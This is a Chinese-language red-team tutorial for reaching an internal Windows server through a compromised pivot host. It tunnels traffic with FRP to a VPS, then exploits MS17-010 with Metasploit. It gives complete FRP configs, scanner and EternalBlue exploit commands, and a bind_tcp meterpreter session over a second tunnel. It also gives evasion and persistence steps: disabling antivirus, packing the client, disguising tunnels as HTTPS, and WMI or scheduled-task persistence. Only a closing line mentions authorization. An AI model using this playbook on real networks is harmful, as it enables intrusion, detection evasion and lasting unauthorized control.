1. 项目概述穿透内网直击核心做渗透测试的朋友尤其是做红队评估的最头疼的场景之一就是目标资产藏在层层内网之后。你通过外网打点拿下一个边缘机器发现它只是跳板真正的核心业务服务器在另一个你无法直接访问的网段里。这时候一个稳定、隐蔽的内网穿透工具就成了必需品。FRPFast Reverse Proxy正是这样一个轻量级但功能强大的反向代理工具它能把内网服务的端口“映射”到公网服务器上让你像访问本地服务一样访问内网资源。这次我们要聊的就是结合FRP对一个存在永恒之蓝MS17-010漏洞的内网Windows服务器进行实战渗透。永恒之蓝这个漏洞自2017年WannaCry勒索病毒席卷全球后就成了安全圈的“明星”。它影响的是Windows的SMBv1协议攻击者可以利用这个漏洞远程执行任意代码危害极大。虽然微软早就发布了补丁但在一些老旧系统、隔离内网或运维疏忽的环境中它依然广泛存在是内网横向移动的“利器”。这个实战的核心思路很清晰我们假设已经通过某种方式比如钓鱼、弱口令拿到了一台处于DMZ区或办公网的Windows主机我们称之为“跳板机”或“边界机”。通过在这台跳板机上部署FRP客户端我们将它的网络能力“延伸”出来。接着我们利用公网上的一台VPS作为FRP服务端建立隧道。最后我们本地的攻击工具如Metasploit通过连接FRP服务端映射出来的端口直接对跳板机所在内网中另一台存在MS17-010漏洞的服务器发起攻击。整个过程攻击流量看似发往公网VPS实则通过FRP隧道拐了个弯打进了内网深处。2. 环境准备与工具选型解析工欲善其事必先利其器。一次成功的渗透前期环境搭建和工具选择占了至少一半的功劳。这里我们详细拆解每个环节的选择与原因。2.1 核心工具链构成我们的工具链主要分为三部分穿透工具、漏洞利用框架和辅助工具。内网穿透工具FRP选择理由FRP开源、配置灵活、性能稳定支持TCP、UDP、HTTP、HTTPS等多种协议并且支持身份验证和加密相较于Ngrok等工具可控性更强。其“服务端-客户端”架构非常适合我们这种需要从外网主动连接内网的场景。网上热词里提到的“sakura frp”是第三方提供的免费FRP服务但我们自己搭建服务端可控性、隐蔽性和带宽都更好。版本选择选择官方GitHub发布的最新稳定版即可。我们需要准备两个版本一个是用于Linux我们的公网VPS的frps服务端另一个是用于Windows我们的内网跳板机的frpc客户端。漏洞利用框架Metasploit Framework (MSF)选择理由MSF是渗透测试的事实标准它集成了对MS17-010漏洞的完整利用模块exploit/windows/smb/ms17_010_eternalblue和载荷生成器从扫描检测到利用攻击一气呵成大大降低了操作复杂度。部署位置部署在我们本地攻击机Kali Linux 或安装了MSF的其它Linux发行版上。这是我们的指挥中心。辅助与验证工具Nmap用于端口扫描和服务识别。在获得内网通道后我们需要用它来发现内网中开放445端口SMB服务的主机。Wireshark/Tcpdump网络抓包分析工具用于在复杂情况下排查隧道连通性问题理解流量走向。一台公网VPS作为FRP服务端frps的承载主机。需要有一个公网IP开放所需端口如7000 6000。选择海外VPS时注意其网络稳定性避免被目标网络屏蔽。2.2 网络拓扑与角色定义理解网络拓扑是成功的关键。我们假设一个经典的三层结构本地攻击机 (Attacker)位于我们自己的网络环境IP可能是192.168.1.100。运行MSF、Nmap等工具。公网VPS (FRP Server)拥有公网IP例如123.123.123.123。运行frps作为流量中转站。内网跳板机 (Compromised Host)已被我们初步控制的内网Windows主机假设其内网IP为10.10.10.50。它无法被外网直接访问但可以主动出网连接我们的VPS。我们将在此运行frpc。目标内网服务器 (Target)最终要攻击的机器内网IP为10.10.10.100存在MS17-010漏洞开放445端口。流量路径Attacker - VPS:Port - FRPS - FRPC - Target:445。对于目标机器10.10.10.100来说攻击流量看起来是从同网段的跳板机10.10.10.50发来的实现了很好的隐蔽。2.3 文件准备与权限配置在开始前确保文件就位且权限正确。在公网VPS上下载Linux版的FRP解压后重点关注frps和frps.ini。在内网跳板机上下载Windows版的FRP解压后重点关注frpc.exe和frpc.ini。由于跳板机已被控制我们需要通过已有的shell如webshell、远控上传这些文件。权限在Linux VPS上给frps可执行权限chmod x frps。在Windows跳板机上frpc.exe可直接运行。注意跳板机上的杀毒软件可能会将frpc.exe识别为可疑程序而删除。在实际操作中可能需要先关闭实时防护或对FRP客户端进行免杀处理如加壳、修改特征码这是一个非常重要的前置步骤直接关系到隧道能否稳定建立。3. FRP服务端与客户端配置详解配置FRP是整个环节中最需要细心的地方一个参数错误就可能导致隧道无法建立。我们分别从服务端和客户端角度把每个参数都掰开讲清楚。3.1 公网VPS服务端配置登录你的公网VPS我们编辑frps.ini文件。一个最小化但功能完整的配置如下[common] bind_addr 0.0.0.0 bind_port 7000 dashboard_port 7500 dashboard_user admin dashboard_pwd YourStrongPassword! token YourSecretToken123456[common]: 通用配置段。bind_addr 0.0.0.0: 服务端监听的IP0.0.0.0表示监听所有网络接口。除非有特殊安全需求否则不要轻易改为127.0.0.1那样客户端将无法连接。bind_port 7000:FRP控制通道端口。客户端通过这个端口与服务端建立连接进行认证和传输控制指令。这是必须对外开放的端口。dashboard_port 7500: Web管理面板端口。方便我们查看连接状态、流量统计。非必需但强烈建议开启用于监控。同样需要在防火墙放行。dashboard_user/pwd: 管理面板的登录凭证。务必修改为强密码token: 身份验证令牌。客户端配置中必须使用相同的token才能连接。这是防止未授权连接的重要安全措施必须设置且保持复杂。启动服务端在frps所在目录执行./frps -c ./frps.ini。为了持久化可以配置为systemd服务或使用nohup后台运行nohup ./frps -c ./frps.ini frps.log 21 。防火墙配置这是最容易出错的地方。务必在VPS的安全组/防火墙中放行7000和7500端口TCP协议。# 以Ubuntu/Debian的ufw为例 sudo ufw allow 7000/tcp sudo ufw allow 7500/tcp sudo ufw reload3.2 内网跳板机客户端配置在跳板机上编辑frpc.ini。我们的目标是建立一个TCP隧道将我们对VPS某个端口比如6000的访问转发到内网目标的445端口。[common] server_addr 123.123.123.123 server_port 7000 token YourSecretToken123456 [ms17-010-tunnel] type tcp local_ip 10.10.10.100 local_port 445 remote_port 6000server_addr: 你的公网VPS的IP地址。server_port: 对应服务端的bind_port这里是7000。token: 必须与服务端配置的token完全一致。[ms17-010-tunnel]: 这是一个代理规则的名称可以自定义。一个客户端可以配置多个这样的规则。type tcp: 指定代理类型为TCP适合SMB这种基于TCP的协议。local_ip:关键参数这里填的是目标内网服务器的IP10.10.10.100不是跳板机自己的IP。frpc会从这个跳板机上去连接这个IP。local_port: 目标服务器上服务的端口即445。remote_port 6000:关键参数指定在FRP服务端VPS上开放的端口。当攻击者连接VPS_IP:6000时流量会被通过隧道转发到10.10.10.100:445。启动客户端在Windows跳板机的命令行cmd或powershell中进入frpc所在目录执行frpc.exe -c frpc.ini。同样可以考虑隐藏窗口后台运行具体方法取决于你对跳板机的控制程度。3.3 隧道连通性测试配置完成后如何验证隧道是否成功建立查看服务端Dashboard浏览器访问http://你的VPS_IP:7500输入用户名密码。在“TCP代理”或“代理列表”中应该能看到名为ms17-010-tunnel的代理状态为“online”。本地端口扫描测试在你的本地攻击机上使用nc或telnet测试VPS的6000端口。nc -zv 123.123.123.123 6000如果显示succeeded或连接打开说明隧道基本通畅。更进一步的测试是使用nmap扫描该端口看其是否被识别为SMB服务但这可能会触发目标网络IDS慎用。nmap -sS -p 6000 123.123.123.123实操心得在配置local_ip时最容易犯的错误就是填成了127.0.0.1或跳板机自身IP。一定要明确FRP客户端的作用是从它所在的位置去连接另一个网络位置。我们的场景是“访问内网其他主机”所以local_ip必须是那个“其他主机”的地址。如果只是想将跳板机本地的某个端口比如3389映射出去那local_ip才填127.0.0.1。4. 利用FRP隧道进行MS17-010漏洞扫描与利用隧道建立后我们本地攻击机就有了一个通往内网目标445端口的“快捷方式”。接下来就是经典的MS17-010漏洞利用流程只不过目标地址变成了我们的VPS。4.1 通过隧道进行内网扫描首先我们需要确认目标是否真的存在漏洞。虽然我们已经假设10.10.10.100存在漏洞但严谨的测试需要验证。由于隧道只映射了单一端口到单一IP我们无法直接扫描整个10.10.10.0/24网段。但我们可以针对这个特定IP进行漏洞扫描。在本地攻击机启动MSFmsfconsole使用MSF内置的auxiliary/scanner/smb/smb_ms17_010扫描模块。这里的目标主机RHOSTS要填我们的VPS IP和映射端口。use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 123.123.123.123 set RPORT 6000 # 注意这里端口是6000不是445 run如果返回[] 123.123.123.123:6000 - Host is likely VULNERABLE to MS17-010!恭喜你这意味着通过隧道访问的10.10.10.100:445确实存在永恒之蓝漏洞。MSF的扫描模块是通过隧道发送到目标再根据返回的协议特征判断的。4.2 配置并执行漏洞利用确认漏洞存在后切换到利用模块。use exploit/windows/smb/ms17_010_eternalblue set RHOST 123.123.123.123 # 同样目标是VPS的IP set RPORT 6000 # 映射端口接下来配置载荷Payload。我们选择最常见的windows/x64/meterpreter/reverse_tcp。这里有个极其关键的配置LHOST和LPORT。LHOST载荷回连的IP。这里不能填本地攻击机IP因为载荷是在内网目标服务器上执行它需要能访问到我们的监听器。目标服务器在内网无法直接访问我们外网的攻击机。因此我们需要让载荷回连到跳板机上再由跳板机通过FRP隧道将meterpreter会话转发出来。但这引入了复杂性。更简单稳定的方法是使用bind_tcp载荷让目标机器在本地开启一个端口等待我们连接我们再通过FRP新建一个隧道去连接这个端口。方案一使用反向TCP载荷Reverse TCP并设置跳板机为中转复杂在跳板机上配置第二个FRPC代理规则将跳板机本地的某个端口如4444映射到VPS的另一个端口如5000。在MSF中设置set LHOST 10.10.10.50(跳板机内网IP)set LPORT 4444。在攻击机上监听VPS的5000端口不这需要更复杂的转发。此方案流程繁琐容易出错。方案二使用正向TCP载荷Bind TCP——推荐这是更清晰的方法。载荷会在目标机器上打开一个端口我们主动去连它。set payload windows/x64/meterpreter/bind_tcp set RHOST 123.123.123.123 # 目标地址仍是VPS IP通过隧道访问目标 set RPORT 6000 # 访问目标的端口隧道入口 # Bind载荷特有的选项 set LPORT 4444 # 载荷将在目标机器上打开的端口执行exploit。如果成功MSF会尝试通过VPS:6000隧道在目标机器10.10.10.100上执行代码并在其4444端口开启一个bind shell。但是我们如何连接这个在目标内网机器4444端口上的shell呢我们需要第二条FRP隧道。4.3 建立第二条隧道连接Meterpreter在跳板机的frpc.ini中添加第二个代理规则[ms17-010-meterpreter] type tcp local_ip 10.10.10.100 # 目标服务器IP local_port 4444 # 目标服务器上Meterpreter打开的端口 remote_port 5000 # 在VPS上开放的新端口重启frpc客户端或使用热重载功能如果配置支持。现在VPS的5000端口被映射到了内网目标机器的4444端口。回到MSF我们不需要重新运行exploit。在成功执行exploit后MSF会得到一个meterpreter会话吗不会。因为bind载荷只是打开了端口等待连接。我们需要手动连接它。# 假设之前的exploit执行成功但会话并未建立状态可能是 Exploit completed, but no session was created # 使用以下命令连接bind shell use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set RHOST 123.123.123.123 # 连接VPS IP set RPORT 5000 # 连接VPS上映射的新端口 run执行后MSF会通过VPS:5000 - 跳板机 - 目标:4444这条新隧道连接到目标机器上的Meterpreter从而获得一个交互式Shell。核心技巧理解“两条隧道”的概念至关重要。第一条隧道6000端口用于发送漏洞利用攻击包第二条隧道5000端口用于建立攻击后的控制会话。它们指向同一个目标IP但端口和作用不同。在复杂内网中清晰地规划和管理多个隧道端口是基本功。5. 实战进阶隐蔽性优化与问题排查直接使用默认配置的FRP和MSF在稍有防护的网络中很容易被识别和阻断。我们需要考虑如何更隐蔽、更稳定地行动。5.1 FRP的隐蔽化配置加密与压缩在frpc.ini和frps.ini的[common]段添加tls_enable true可以启用TLS加密传输防止流量被轻易窥探。添加use_compression true可以压缩数据虽然可能增加CPU负担但能改变流量特征。修改通信端口避免使用7000、7500这类常见端口。可以改为其他不常用的高端口例如443、8443伪装HTTPS或在80端口上运行但要注意和Web服务冲突。域名与CDN伪装将FRP服务端端口如443配置在Nginx等Web反向代理之后。外部看起来是正常的HTTPS网站流量实际Nginx根据特定路径或SNI将流量转发给后端的frps。这就是热词中“nginx反向代理”与FRP结合的高级用法能极大提升隐蔽性。心跳与重连配置heartbeat_interval和heartbeat_timeout可以保持长连接并自动重连避免隧道意外中断。5.2 MSF利用的规避选项永恒之蓝利用模块本身提供了一些规避参数set EnableContextEncoding true # 尝试对shellcode进行编码以绕过部分检测 set ContextInformationFile ... # 可指定自定义的上下文信息文件 set GroomAllocations ... # 调整内存整理参数可能增加稳定性但这些选项效果有限主要依赖漏洞本身。更重要的规避在于载荷选择与编码使用msfvenom生成经过编码或加密的shellcode并选择更冷门的payload。在exploit之后使用post/windows/manage/payload_inject模块注入自定义shellcode也是一种思路。执行时机避免在目标业务高峰时段进行攻击减少被管理员发现的概率。5.3 常见问题与排查实录即使按照步骤操作也难免会遇到问题。下面是一些常见坑点及排查思路。问题1FRP客户端连接服务端失败日志显示connection refused或timeout。排查检查VPS防火墙/安全组确认7000端口已对跳板机IP或所有IP开放。可以用telnet VPS_IP 7000从跳板机测试。检查服务端进程在VPS上执行ps aux | grep frps和netstat -tlnp | grep 7000确认frps正在运行并监听正确端口。检查网络连通性跳板机可能无法访问外网或被出口防火墙策略拦截。尝试在跳板机上 ping 一个公网地址或使用curl测试网络。检查token确保客户端和服务端的token字符串完全一致包括大小写。问题2隧道显示在线但本地攻击机连接VPS的6000端口失败。排查检查FRP客户端配置确认local_ip和local_port是否正确指向了可访问的内网目标。可以在跳板机上执行telnet 10.10.10.100 445测试到目标的连通性。检查目标服务目标服务器的445端口是否真的开放Windows防火墙是否阻止了来自跳板机IP的连接检查FRP服务端防火墙确认VPS上6000端口也已开放。查看日志分别查看frps和frpc的日志输出通常会有详细的错误信息。在frpc.ini中可设置admin_addr 127.0.0.1和admin_port 7400然后通过浏览器访问跳板机IP:7400查看客户端状态和日志。问题3MSF扫描模块显示目标不可达Host unreachable或没有响应。排查确认隧道状态首先用nc测试VPS:6000是否通。检查RPORT在MSF中是否将RPORT设置为了6000FRP映射端口而不是445。SMB版本兼容性某些网络设备或防火墙会干扰或重置SMB连接。尝试在MSF模块中设置SMBDirect false这会让MSF使用TCP套接字而不是原始的SMB数据包有时能绕过一些简单的过滤。流量被拦截内网中可能有IDS/IPS设备识别并阻断了永恒之蓝的扫描流量。考虑使用更温和的扫描方式或者先进行端口连通性确认。问题4漏洞利用成功执行但无法建立Meterpreter会话。排查防火墙拦截出站连接如果使用reverse_tcp载荷目标服务器的出站连接可能被防火墙阻止。bind_tcp载荷通常受限于入站规则。载荷不兼容目标系统是32位x86还是64位x64尝试切换payload例如windows/x64/meterpreter/bind_tcp换成windows/meterpreter/bind_tcp。内存破坏导致系统不稳定永恒之蓝漏洞利用本身不稳定可能导致目标系统蓝屏BSOD或崩溃。这是该漏洞利用的固有风险没有完美解决方案只能重试。会话处理问题使用bind_tcp时确保在运行exploit模块后正确使用了multi/handler并配置相同的payload和端口通过第二条隧道去连接。问题5操作过程中跳板机上的FRP客户端进程被杀掉。原因与对策这很可能是被跳板机上的终端安全软件EDR、AV查杀了。FRP本身是合法工具但其行为模式建立外连、监听端口容易被判定为恶意。轻量级对抗尝试修改frpc.exe的文件名、哈希值或使用简单的加壳工具。权限维持将FRP客户端安装为系统服务或利用计划任务、WMI事件订阅等机制进行持久化并在进程被终止后自动重启。备用方案准备多个不同版本的FRP客户端或使用其他协议/工具作为备用隧道如HTTP over Websocket、DNS隧道等。整个实战过程是对渗透测试人员综合能力的考验不仅需要理解漏洞原理和利用工具更要熟练掌握网络穿透、隧道搭建、流量隐蔽和应急排查等技能。每一次成功的“穿透”都是对网络边界和防御体系的一次深刻理解。记住所有技术都应在合法授权的范围内进行学习和使用用于提升企业自身的安全防护能力。